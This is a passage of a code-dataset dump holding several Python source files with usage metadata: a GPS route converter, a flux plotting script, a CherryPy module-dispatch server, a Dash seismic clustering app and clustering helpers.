"flask_app.database.models.TopicModel", "line_number": 117, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 117, "usage_type": "name"}, {"api_name": "flask_app.database.models.TopicModel", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 118, "usage_type": "name"}, {"api_name": "flask_app.modeling.lda.Corpus", "line_number": 122, "usage_type": "call"}, {"api_name": "flask_app.settings.Settings.CONTENT_COL", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 124, "usage_type": "name"}, {"api_name": "flask_app.settings.Settings.ID_COL", "line_number": 125, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 125, "usage_type": "name"}, {"api_name": "flask_app.modeling.lda.LDAModeler", "line_number": 127, "usage_type": "call"}, {"api_name": "flask_app.database.models.TopicModelMetrics.create", "line_number": 142, "usage_type": "call"}, {"api_name": "flask_app.database.models.TopicModelMetrics", "line_number": 142, "usage_type": "attribute"}, {"api_name": "flask_app.database.models", "line_number": 142, "usage_type": "name"}, {"api_name": "flask_app.emails.Emailer", "line_number": 144, "usage_type": "call"}, {"api_name": "flask_app.emails", "line_number": 144, "usage_type": "name"}, {"api_name": "flask_app.settings.Settings.SERVER_NAME", "line_number": 149, "usage_type": "attribute"}, {"api_name": "flask_app.settings.Settings", "line_number": 149, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 150, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 150, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 150, "usage_type": "attribute"}, {"api_name": "flask_app.app", "line_number": 115, "usage_type": "attribute"}]} {"seq_id": "13413842920", "text": "import inspect, os\nimport xml.etree.ElementTree as ET\n\nrouteName = \"blackdiamond\"\nfilePrefix = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) + \"/\" + routeName # name of input and output file\nsmallCut = 15 # number of seconds between each reading is small output file\nfileTracked = filePrefix + \".tcx\"\nfullCSV=filePrefix+\"Full.csv\"\nsmallCSV=filePrefix+\"Small.csv\"\nfullJS=filePrefix+\"Full.js\"\nsmallJS=filePrefix+\"Small.js\"\nnewLine = \"\"\n\ndef run():\n removeFile(fullCSV)\n removeFile(smallCSV)\n removeFile(fullJS)\n removeFile(smallJS)\n\n startJS(fullJS)\n startJS(smallJS)\n\n tree = ET.parse(fileTracked)\n root = tree.getroot()\n i = 0\n for child in root[0][0][1][5]:\n addToCSV(child, fullCSV)\n addToJS(convertToGoogleMapsJSON(child), fullJS)\n if ((i % smallCut) == 0):\n addToCSV(child, smallCSV)\n addToJS(convertToGoogleMapsJSON(child), smallJS)\n if (i == 0):\n global newLine\n newLine = \",\\n\"\n i += 1\n\n endJS(fullJS)\n endJS(smallJS)\n\n\ndef removeFile(fileName):\n try:\n os.remove(fileName)\n except OSError:\n pass\n\ndef addToCSV(point, fileVar):\n with open(fileVar, \"a\") as myFile:\n myFile.write(convertTrackpointToCSV(point))\n\ndef addToJS(string, fileVar):\n with open(fileVar, \"a\") as myFile:\n myFile.write(string)\n\ndef startJS(fileVar):\n addToJS((\"var path\" + routeName + \"Coodinates = [\\n\"), fileVar)\n\ndef endJS(fileVar):\n addToJS(\"\\n];\", fileVar)\n\n\ndef convertTrackpointToCSV(point):\n return (point[0].text + \", \" + point[1][0].text + \", \" + point[1][1].text + \"\\n\")\n\ndef convertToGoogleMapsJSON(point):\n print (newLine + \"{lat: \" + point[1][0].text + \", lng: \" + point[1][1].text + \"}\")\n return newLine + \"{lat: \" + point[1][0].text + \", lng: \" + point[1][1].text + \"}\"\n\nrun()", "repo_name": "fleet-pond/fleet-pond-app", "sub_path": "routes/tcxToCsv.py", "file_name": "tcxToCsv.py", "file_ext": "py", "file_size_in_byte": 1868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 5, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 5, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 23, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 23, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 43, "usage_type": "call"}]} {"seq_id": "42352416287", "text": "\"\"\"\nPlot bulk fluxes as a time series, including all chemical tracers\nif present.\n\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\n\nfrom lo_tools import Lfun, zfun\nfrom lo_tools import plotting_functions as pfun\nimport tef_fun\nimport flux_fun\n\nLdir = Lfun.Lstart()\n\nin_dir00 = Ldir['LOo'] / 'extract'\ngtagex = Lfun.choose_item(in_dir00)\nin_dir0 = in_dir00 / gtagex / 'tef'\next_name = Lfun.choose_item(in_dir0, tag='bulk', exclude_tag='bulk_plots')\nin_dir = in_dir0 / ext_name\n\nsect_list = [item.name for item in in_dir.glob('*.p')]\n \nout_dir = in_dir0 / ext_name.replace('bulk', 'bulk_plots')\nLfun.make_dir(out_dir, clean=True)\n\n# =================================\n# get the DataFrame of all sections\ngridname=gtagex.split('_')[0]\nsect_df = tef_fun.get_sect_df(gridname)\n\ntesting = False\n\nif testing:\n from importlib import reload\n reload(flux_fun)\n\nif testing:\n sect_list = ['jdf1']\nelse:\n sect_list = list(sect_df.index)\n\n# PLOTTING\nfs = 12\nplt.close('all')\npfun.start_plot(fs=fs, figsize=(21,10))\n\nfor sect_name in sect_list:\n\n tef_df, in_sign, dir_str, sdir = flux_fun.get_two_layer(in_dir, sect_name, gridname)\n cols = list(tef_df.columns)\n \n # Check if we have chemical variables, or just salt\n vn_list = tef_fun.vn_list\n do_chem = True\n for vn in vn_list:\n if vn+'_in' not in cols:\n do_chem = False\n \n if do_chem:\n vn_list = vn_list = ['Q', 'salt', 'temp', 'NO3', 'phytoplankton', 'detritus', 'oxygen', 'TIC', 'alkalinity']\n vn_list_long = vn_list + ['zooplankton', 'Ldetritus']\n NR = 3; NC = 3 # rows and columns for subplots\n else:\n vn_list = ['Q', 'salt']\n vn_list_long = vn_list\n NR = 2; NC = 1\n \n # filter more in time (requires that Q be the first item in vn_list)\n nhan = 1 # length of Hanning window in days (use 1 for no filtering)\n for vn in vn_list_long:\n if vn == 'Q':\n tef_df['Q_in'] = zfun.lowpass(tef_df['Qin'].to_numpy(), n=nhan)\n tef_df['Q_out'] = zfun.lowpass(tef_df['Qout'].to_numpy(), n=nhan)\n else:\n tef_df[vn+'_in'] = zfun.lowpass((tef_df[vn+'_in']*tef_df['Qin']).to_numpy(), n=nhan)/tef_df['Q_in']\n tef_df[vn+'_out'] = zfun.lowpass((tef_df[vn+'_out']*tef_df['Qout']).to_numpy(), n=nhan)/tef_df['Q_out']\n \n # adjust units\n tef_df['Q_in'] = tef_df['Q_in']/1000\n tef_df['Q_out'] = tef_df['Q_out']/1000\n \n \n # labels and colors\n ylab_dict = {'Q': r'Transport $[10^{3}\\ m^{3}s^{-1}]$',\n 'salt': r'Salinity',\n 'temp': r'Pot. Temp. $[^{o}C]$',\n 'NO3': r'Nitrate $[\\mu mol\\ N\\ L^{-1}]$',\n 'phytoplankton': r'phytoplankton $[\\mu mol\\ N\\ L^{-1}]$',\n 'detritus': r'detritus $[\\mu mol\\ N\\ L^{-1}]$',\n 'oxygen': r'oxygen $[\\mu mol\\ O_{2}\\ L^{-1}]$',\n 'TIC': r'TIC $[\\mu mol\\ C\\ L^{-1}]$',\n 'alkalinity': r'Alkalinity $[\\mu equiv\\ L^{-1}]$'}\n import string\n abc = list(string.ascii_lowercase)\n incolor = 'r'\n outcolor = 'b'\n lw = 2\n \n fig, axes = plt.subplots(nrows=NR, ncols=NC, squeeze=False)\n \n ii = 0\n for vn in vn_list:\n ir, ic = zfun.get_irc(ii, NC)\n ax = axes[ir, ic]\n tef_df[[vn+'_in',vn+'_out']].plot(ax=ax, legend=False, color=[incolor, outcolor], grid=True, lw=lw)\n ax.set_ylabel(ylab_dict[vn])\n ax.text(.03, .95, '('+abc[ii]+')', va='top', weight='bold', transform=ax.transAxes,\n bbox=dict(facecolor='w', edgecolor='None', alpha=0.5))\n if ir < NR-1:\n ax.set_xticklabels([])\n if vn == 'Q':\n ax.set_title(gtagex + ' : ' + sect_name + ' : Positive is ' + dir_str)\n ax.text(.97, .95, 'Inflow', ha='right', va='top', weight='bold', c=incolor,\n transform=ax.transAxes, size=1.2*fs,\n bbox=dict(facecolor='w', edgecolor='None', alpha=0.5))\n ax.text(.97, .05, 'Outflow', ha='right', va='bottom', weight='bold', c=outcolor,\n transform=ax.transAxes, size=1.2*fs,\n bbox=dict(facecolor='w', edgecolor='None', alpha=0.5))\n if vn == 'phytoplankton':\n tef_df[['zooplankton_in','zooplankton_out']].plot(ax=ax, legend=False, color=[incolor, outcolor],\n grid=True, alpha=.5, lw=lw)\n ax.text(.97, .95, 'Transparent = zooplankton', ha='right', va='top', weight='bold', c='k',\n transform=ax.transAxes, size=fs, alpha=.5,\n bbox=dict(facecolor='w', edgecolor='None', alpha=0.5))\n if vn == 'detritus':\n tef_df[['Ldetritus_in','Ldetritus_out']].plot(ax=ax, legend=False, color=[incolor, outcolor],\n grid=True, alpha=.5, lw=lw)\n ax.text(.97, .95, 'Transparent = Ldetritus', ha='right', va='top', weight='bold', c='k',\n transform=ax.transAxes, size=fs, alpha=.5,\n bbox=dict(facecolor='w', edgecolor='None', alpha=0.5))\n ii += 1\n \n fig.tight_layout()\n \n if testing:\n plt.show()\n else:\n plt.savefig(out_dir / (sect_name + '.png'))\n plt.close()\n\npfun.end_plot()\n", "repo_name": "parkermac/LO", "sub_path": "extract/tef/bulk_plot.py", "file_name": "bulk_plot.py", "file_ext": "py", "file_size_in_byte": 5232, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lo_tools.Lfun.Lstart", "line_number": 15, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 15, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.choose_item", "line_number": 18, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 18, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.choose_item", "line_number": 20, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 20, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.make_dir", "line_number": 26, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 26, "usage_type": "name"}, {"api_name": "tef_fun.get_sect_df", "line_number": 31, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.start_plot", "line_number": 47, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 47, "usage_type": "name"}, {"api_name": "flux_fun.get_two_layer", "line_number": 51, "usage_type": "call"}, {"api_name": "tef_fun.vn_list", "line_number": 55, "usage_type": "attribute"}, {"api_name": "lo_tools.zfun.lowpass", "line_number": 74, "usage_type": "call"}, {"api_name": "lo_tools.zfun", "line_number": 74, "usage_type": "name"}, {"api_name": "lo_tools.zfun.lowpass", "line_number": 75, "usage_type": "call"}, {"api_name": "lo_tools.zfun", "line_number": 75, "usage_type": "name"}, {"api_name": "lo_tools.zfun.lowpass", "line_number": 77, "usage_type": "call"}, {"api_name": "lo_tools.zfun", "line_number": 77, "usage_type": "name"}, {"api_name": "lo_tools.zfun.lowpass", "line_number": 78, "usage_type": "call"}, {"api_name": "lo_tools.zfun", "line_number": 78, "usage_type": "name"}, {"api_name": "string.ascii_lowercase", "line_number": 96, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "lo_tools.zfun.get_irc", "line_number": 105, "usage_type": "call"}, {"api_name": "lo_tools.zfun", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.end_plot", "line_number": 143, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 143, "usage_type": "name"}]} {"seq_id": "4298538509", "text": "# ======== IMPORTS ===================================================================================================================== \nimport sys, getopt, cherrypy, json, os, argparse\nimport importlib.util\nfrom cherrypy.lib import sessions\nimport logging\n\n# logging.basicConfig(filename=\"main_logfile.log\", filemode=\"w\", format=\"%(asctime)s %(message)s\", level=logging.INFO)\nlogging.basicConfig(format=\"%(asctime)s %(message)s\", level=logging.INFO)\n\n# ======== GLOBAL VARS =================================================================================================================\nSETTINGS_FILE = None\nARGUMENTS = []\n\n# ======== GLOBAL FUNCTIONS ============================================================================================================\ndef CORS():\n # This sets the response headers , anything you want in the headers to be returned must be done here.\n server_settings = SETTINGS_FILE.get(\"cherrypy\", None) # Load settings for cherrypy\n # cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n # The sessions and session validation is not working correctly right now with the custom hosting etc. Need to fix this.\n cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = ARGUMENTS.client_host if ARGUMENTS.client_host else server_settings.get(\"client_host\", \"http://127.0.0.1:4200\")\n cherrypy.response.headers[\"Access-Control-Allow-Headers\"] = \"Content-Type\"\n cherrypy.response.headers[\"Access-Control-Allow-Credentials\"] = \"true\"\n\nclass server(object): \n def __init__(self):\n self.module_dict = {}\n self.build_modules()\n\n def build_modules(self):\n for module in os.listdir(os.getcwd()+\"/modules\"):\n if module[-3:] == \".py\":\n self.module_dict[module[:-3]] = importlib.util.spec_from_file_location(module[:-3], os.getcwd()+\"/modules\"+\"/\"+str(module))\n\n @cherrypy.expose\n def default(self, *args, **kwargs):\n \"\"\"\n Function: Default function that parses and calls the correct module with the function and parameters. Then parses it and sends the result back to the\n url call from where it came.\n \"\"\"\n # Get Module That should be called from the url example http://127.0.0.1/test/getClient -> test will be the module.\n module_ = args[0]\n valid_module = True if self.module_dict.get(module_, None) else False # Check if the module exists\n\n # Get Function that should be called from the url example http://127.0.0.1/test/getClient -> getClient will be the function.\n func_ = args[1]\n\n # Get Parameters that was sent with the url request.\n params_ = json.loads(kwargs[\"parameters\"])\n\n if valid_module:\n try:\n params_[\"session\"] = cherrypy.session.get(\"user\", None)\n\n # logging.info to know what is happening\n logging.info(\"*************************** CALLING ****************************\")\n logging.info(\"MODULE: %s; \\nFUNCTION: %s; \\nPARAMETERS: %s;\"%(module_, func_, str(params_)))\n logging.info(\"****************************************************************\") \n\n # Call the module with the function\n data = self.callModuleFunc(module_, func_, params_)\n result = True\n msg = \"Success\"\n except Exception as ex:\n logging.info(\"******************** EXCEPTION OCCURED *************************\")\n logging.info(\"MODULE: %s; \\nFUNCTION: %s; \\nPARAMETERS: %s; \\nEXCEPTION: %s;\"%(module_, func_, str(params_), str(ex)))\n logging.info(\"****************************************************************\")\n msg = str(ex) if str(ex) != \"'%s' object has no attribute '%s'\"%(module_, func_) else \"Function %s does not exist on module %s\"%(func_, module_) \n data = None\n result = False\n else:\n logging.info(\"******************** EXCEPTION OCCURED *************************\")\n logging.info(\"EXCEPTION: Module %s was not found\"%(module_))\n logging.info(\"****************************************************************\")\n msg = \"MODULE \" + module_ + \" WAS NOT FOUND\"\n data = None\n result = False\n ret = {\n \"result\": result,\n \"msg\": msg,\n \"data\": data\n }\n # Can also do the following instead of def CORS() function call in tools.CORS.on\n # cherrypy.response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n # cherrypy.response.headers[\"Access-Control-Allow-Headers\"] = \"Content-Type\"\n return json.dumps(ret)\n\n def getUser(self):\n if cherrypy.session.get(\"user\", None):\n return cherrypy.session[\"user\"]\n else:\n raise Exception(\"NOT LOGGED IN\")\n\n def callModule(self, module_name):\n _module_ = importlib.util.module_from_spec(self.module_dict[module_name])\n self.module_dict[module_name].loader.exec_module(_module_)\n return getattr(_module_, module_name)(self)\n \n def callModuleFunc(self, module_name, func_name, params):\n return getattr(self.callModule(module_name), func_name)(**params)\n\n# ======== INIT FUNCTION =================================================================================================================\n\nif __name__ == \"__main__\":\n # You can run the server on a specific host and port on startup\n # You can also let the db init run in the init mode.\n # In order to this use the following format : python3 main.py --port=8080 --host=0.0.0.0 --init=True\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--server_port\", type=int)\n parser.add_argument(\"--server_host\")\n parser.add_argument(\"--client_host\")\n parser.add_argument(\"--init\", type=bool)\n ARGUMENTS = parser.parse_args()\n if ARGUMENTS.server_port:\n logging.info(\"---------- Starting with PORT: %s ---------\"%(ARGUMENTS.server_port))\n if ARGUMENTS.server_host:\n logging.info(\"---------- Starting with HOST: %s ---------\"%(ARGUMENTS.server_host))\n # Load settings out of the settings file\n try:\n with open(\"settings.json\") as settings_file:\n SETTINGS_FILE = json.load(settings_file)\n except:\n raise Exception(\"NO SETTINGS JSON FILE FOUND\")\n\n server_settings = SETTINGS_FILE.get(\"cherrypy\", None) # Load settings for cherrypy\n\n # If the settings file or the \n if server_settings is None:\n raise Exception(\"CHERRYPY SETTINGS ARE EMPTY\")\n\n cherrypy.tools.CORS = cherrypy.Tool(\"before_handler\", CORS) # This MUST run before every request sent\n\n #Update cherrypy with the settings from the settings.json file\n cherrypy.config.update({\n \"server.socket_host\": ARGUMENTS.server_host if ARGUMENTS.server_host else server_settings[\"host\"], # If the host arugunemnt is present rather use that argument otherwise use the host in the settings file\n \"server.socket_port\": ARGUMENTS.server_port if ARGUMENTS.server_port else server_settings[\"port\"], # If the port arugunemnt is present rather use that argument otherwise use the port in the settings file\n })\n cherrypy.quickstart(server(), \"\", config={\n \"/\": {\n \"tools.sessions.on\": True,\n \"tools.sessions.name\": \"session_id\",\n \"tools.sessions.locking\": \"explicit\",\n \"tools.sessions.timeout\": 600,\n \"tools.sessions.storage_type\": \"ram\",\n \"tools.CORS.on\": True\n }\n })\n", "repo_name": "WilcoBreedt/Angular-Cherrypy", "sub_path": "backend/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 7587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cherrypy.response", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cherrypy.response", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cherrypy.response", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 30, "usage_type": "call"}, {"api_name": "importlib.util.util.spec_from_file_location", "line_number": 32, "usage_type": "call"}, {"api_name": "importlib.util.util", "line_number": 32, "usage_type": "attribute"}, {"api_name": "importlib.util", "line_number": 32, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 48, "usage_type": "call"}, {"api_name": "cherrypy.session.get", "line_number": 52, "usage_type": "call"}, {"api_name": "cherrypy.session", "line_number": 52, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 55, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 56, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 71, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 72, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 85, "usage_type": "call"}, {"api_name": "cherrypy.expose", "line_number": 34, "usage_type": "attribute"}, {"api_name": "cherrypy.session.get", "line_number": 88, "usage_type": "call"}, {"api_name": "cherrypy.session", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cherrypy.session", "line_number": 89, "usage_type": "attribute"}, {"api_name": "importlib.util.util.module_from_spec", "line_number": 94, "usage_type": "call"}, {"api_name": "importlib.util.util", "line_number": 94, "usage_type": "attribute"}, {"api_name": "importlib.util", "line_number": 94, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 108, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 115, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 117, "usage_type": "call"}, {"api_name": "json.load", "line_number": 121, "usage_type": "call"}, {"api_name": "cherrypy.tools", "line_number": 131, "usage_type": "attribute"}, {"api_name": "cherrypy.Tool", "line_number": 131, "usage_type": "call"}, {"api_name": "cherrypy.config.update", "line_number": 134, "usage_type": "call"}, {"api_name": "cherrypy.config", "line_number": 134, "usage_type": "attribute"}, {"api_name": "cherrypy.quickstart", "line_number": 138, "usage_type": "call"}]} {"seq_id": "30485979025", "text": "import base64\nimport datetime\nimport io\n\nimport dash\nfrom dash.dependencies import Input, Output, State\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport seismic as sei\n\n\nimport pandas as pd\n\ndf1 = pd.DataFrame()\n\n\ndef parse_contents(contents, filename):\n print(filename)\n content_type, content_string = contents.split(\",\")\n\n decoded = base64.b64decode(content_string)\n try:\n global df1\n df1 = pd.read_csv(io.StringIO(decoded.decode(\"utf-8\")), sep=\"\\t\")\n df1[\"label\"] = 1\n\n except Exception as e:\n print(e)\n return html.Div([\"There was an error processing this file.\"])\n\n print(\"chargé\")\n result1 = dcc.RangeSlider(\n id=\"slid\",\n min=df1[\"sec\"].min(),\n max=df1[\"sec\"].max(),\n step=100000,\n value=[df1[\"sec\"].min(), df1[\"sec\"].max()],\n )\n print(\"time\")\n\n result2 = dcc.Dropdown(\n id=\"drop\",\n options=[{\"label\": i, \"value\": i} for i in df1.label.unique()],\n multi=True,\n )\n print(\"drop\")\n result3 = html.Button(\"extract\", id=\"export\", style={\"color\": \"#FF0000\"})\n print(\"ok11\")\n return (result1, result2, result3)\n\n # dcc.RangeSlider(\n # id=\"slid\",\n # min=df1[\"sec\"].min(),\n # max=df1[\"sec\"].max(),\n # step=1000,\n # value=[df1[\"sec\"].min(), df1[\"sec\"].max()],\n # )\n # )\n\n\ndef grphcreate(valmin, valmax, values):\n a = [\n {\n \"data\": [\n dict(\n x=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"p0\"],\n y=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"p1\"],\n mode=\"markers\",\n hovertext=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"label\"],\n hoverinfo=\"text\",\n opacity=0.7,\n marker={\n \"color\": df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"label\"],\n \"size\": 8,\n \"line\": {\"width\": 0.5, \"color\": \"white\"},\n },\n )\n ],\n \"layout\": dict(\n xaxis={\"title\": \"latitude\"},\n yaxis={\"title\": \"longitude\"},\n legend={\"x\": 0, \"y\": 1},\n hovermode=\"closest\",\n margin={\"l\": 45, \"r\": 10},\n ),\n },\n {\n \"data\": [\n dict(\n x=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"sec\"],\n y=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"mag\"],\n mode=\"markers\",\n hovertext=df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"label\"],\n hoverinfo=\"text\",\n opacity=0.7,\n marker={\n \"color\": df1[\n (df1[\"sec\"] > valmin)\n & (df1[\"sec\"] < valmax)\n & (df1[\"label\"].isin(values))\n & (df1[\"type\"].isin([\"mainshock\", \"correlated sismicity\"]))\n ][\"label\"],\n \"size\": 8,\n \"line\": {\"width\": 0.5, \"color\": \"white\"},\n },\n )\n ],\n \"layout\": dict(\n xaxis={\"title\": \"temps\"},\n yaxis={\"title\": \"magnitude\"},\n legend={\"x\": 0, \"y\": 1},\n hovermode=\"closest\",\n margin={\"l\": 25, \"r\": 25},\n ),\n },\n ]\n\n return a\n\n\ndef clustering(delta_d, delta_t, min_clust):\n global df1\n df1 = sei.seismic_clust(df1, delta_d, delta_t, min_clust)\n print(\"ok\")\n back1 = df1[df1[\"type\"] == \"background\"]\n cor = df1[df1[\"type\"] == \"correlated sismicity\"]\n main1 = df1[df1[\"type\"] == \"mainshock\"]\n # sei.GraphInterEventTime2(main1.sec, back1.sec)\n\n\n# sei.GraphInterEventTime2(main.sec, back.sec)\npath = \"./seq/\"\n\n\ndef export(clusters):\n sei.get_seq(df1, clusters, path)\n\n\ndef graphMain():\n return [\n {\n \"data\": [\n {\n \"x\": df1[(df1[\"type\"].isin([\"mainshock\"]))][\"sec\"],\n \"y\": df1[(df1[\"type\"].isin([\"mainshock\"]))][\"mag\"],\n \"mode\": \"markers\",\n \"hovertext\": df1[(df1[\"type\"].isin([\"mainshock\"]))][\"label\"],\n \"hoverinfo\": \"text\",\n \"opacity\": 0.7,\n \"name\": \"mainshock\",\n \"mode\": \"markers\",\n },\n {\n \"x\": df1[(df1[\"type\"].isin([\"background\"]))][\"sec\"],\n \"y\": df1[(df1[\"type\"].isin([\"background\"]))][\"mag\"],\n \"mode\": \"markers\",\n \"hovertext\": \"background\",\n \"hoverinfo\": \"text\",\n \"opacity\": 0.7,\n \"name\": \"background\",\n },\n ],\n \"layout\": dict(\n xaxis={\"title\": \"latitude\"},\n yaxis={\"title\": \"longitude\"},\n legend={\"x\": 0, \"y\": 1},\n hovermode=\"closest\",\n margin={\"l\": 25, \"r\": 25},\n ),\n },\n ]\n", "repo_name": "GuillaumeGatti/MOM_GEO_2020", "sub_path": "back.py", "file_name": "back.py", "file_ext": "py", "file_size_in_byte": 6834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 17, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 27, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 32, "usage_type": "call"}, {"api_name": "dash_core_components.RangeSlider", "line_number": 35, "usage_type": "call"}, {"api_name": "dash_core_components.Dropdown", "line_number": 44, "usage_type": "call"}, {"api_name": "dash_html_components.Button", "line_number": 50, "usage_type": "call"}, {"api_name": "seismic.seismic_clust", "line_number": 161, "usage_type": "call"}, {"api_name": "seismic.get_seq", "line_number": 174, "usage_type": "call"}]} {"seq_id": "409158879", "text": "import matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport numpy as np\n\nfrom sklearn.metrics import silhouette_score, silhouette_samples\nfrom sklearn.metrics import adjusted_rand_score \nfrom sklearn.metrics.cluster import contingency_matrix\nfrom sklearn.metrics import davies_bouldin_score \nfrom sklearn.metrics import f1_score\n\nfrom cluster.kmeans import KMeans\nfrom cluster.kmodes import KModes\nfrom cluster.kprototypes import KPrototypes\nfrom cluster.fuzzycmeans import FuzzyCMeans\n\n\nfrom sklearn.cluster import AgglomerativeClustering\n\naffinity = ['euclidean', 'cosine']\nlinkage = [\"complete\", \"average\", \"single\"]\n\n\ndef get_clusterer(n_clusters, cat_features=[], alg='kmeans',\n agglo_params=None, random_state=10):\n clusterer = None\n metric = ''\n # if len(cat_features) == 0:\n if alg == 'agglo':\n clusterer = AgglomerativeClustering(affinity=agglo_params[0], compute_full_tree='auto',\n linkage=agglo_params[1], memory=None,\n n_clusters=n_clusters,\n pooling_func='deprecated')\n metric = 'euclidean'\n elif alg == 'kmeans':\n clusterer = KMeans(n_clusters=n_clusters, random_state=random_state)\n metric = 'euclidean'\n elif alg == 'kmodes':\n clusterer = KModes(n_clusters=n_clusters, random_state=random_state)\n metric = 'manhattan'\n elif alg == 'fuzzy':\n clusterer = FuzzyCMeans(n_clusters=n_clusters, random_state=random_state)\n metric = 'euclidean'\n# else:\n elif alg == 'kproto':\n clusterer = KPrototypes(n_clusters=n_clusters, cat_features=cat_features, random_state=random_state)\n metric = 'manhattan'\n\n return 